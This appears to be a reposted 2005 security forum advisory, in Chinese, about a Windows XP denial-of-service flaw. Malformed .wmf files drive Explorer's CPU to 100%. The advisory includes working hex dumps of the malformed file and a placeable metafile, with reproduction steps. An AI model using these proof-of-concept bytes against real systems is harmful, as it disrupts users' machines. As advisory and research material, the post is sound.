黑色海岸线论坛 - Powered by Discuz! Board

标题: [转帖]WindowsXP畸形.wmf文件本地拒绝服务漏洞以及测试手法 [打印本页]

作者: 青蛙 时间: 2005-9-19 19:18 标题: [转帖]WindowsXP畸形.wmf文件本地拒绝服务漏洞以及测试手法

受影响系统： Microsoft Windows XP 描述： -------------------------------------------------------------------------------- Windows XP是微软发布的非常流行的操作系统。如果攻击者能够创建恶意的.wmf文件（该文件必须有.wmf扩展名，否则不会导致攻击）并将其放置于任意文件夹中的话，则用户在用Windows Explorer打开了该文件夹并把鼠标移到了该畸形文件上时，CPU使用率就会达到100%并一直保持这种状态。在这种情况下用户仍可使用explorer，但性能很低，即使关闭了所有explorer窗口也不会缓解，必须重启explorer.exe才能将CPU使用率降至正常。除了上述方法外双击文件也会产生相同的效果。测试方法： -------------------------------------------------------------------------------- 警告以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ .wmf文件： 00000000 :01 00 09 00 00 03 0E 00 - 00 00 01 00 05 00 00 00 00000010 :00 00 00 00 00 00 0B 02 - FF FF FF FF 除此之外还需要可确定位置的元文件（metafile）： 00000000 :D7 CD C6 9A 00 00 00 00 - 00 00 A1 21 EC 29 EC 09 00000010 :00 00 00 00 B0 56 01 00 - 09 00 00 03 0E 00 00 00 00000020 :01 00 05 00 00 00 00 00 - 00 00 00 00 0B 02 00 00 00000030 :00 00 将该文件保存为test.wmf，并在同一文件夹内保存以下.html：

如果打开了html文档，就会试图生成test.wmf，CPU使用率达到100%，必须重启IE才能缓解。建议： -------------------------------------------------------------------------------- 厂商补丁： Microsoft --------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.microsoft.com/windowsxp/default.asp

欢迎光临黑色海岸线论坛 (http://bbs.thysea.com/)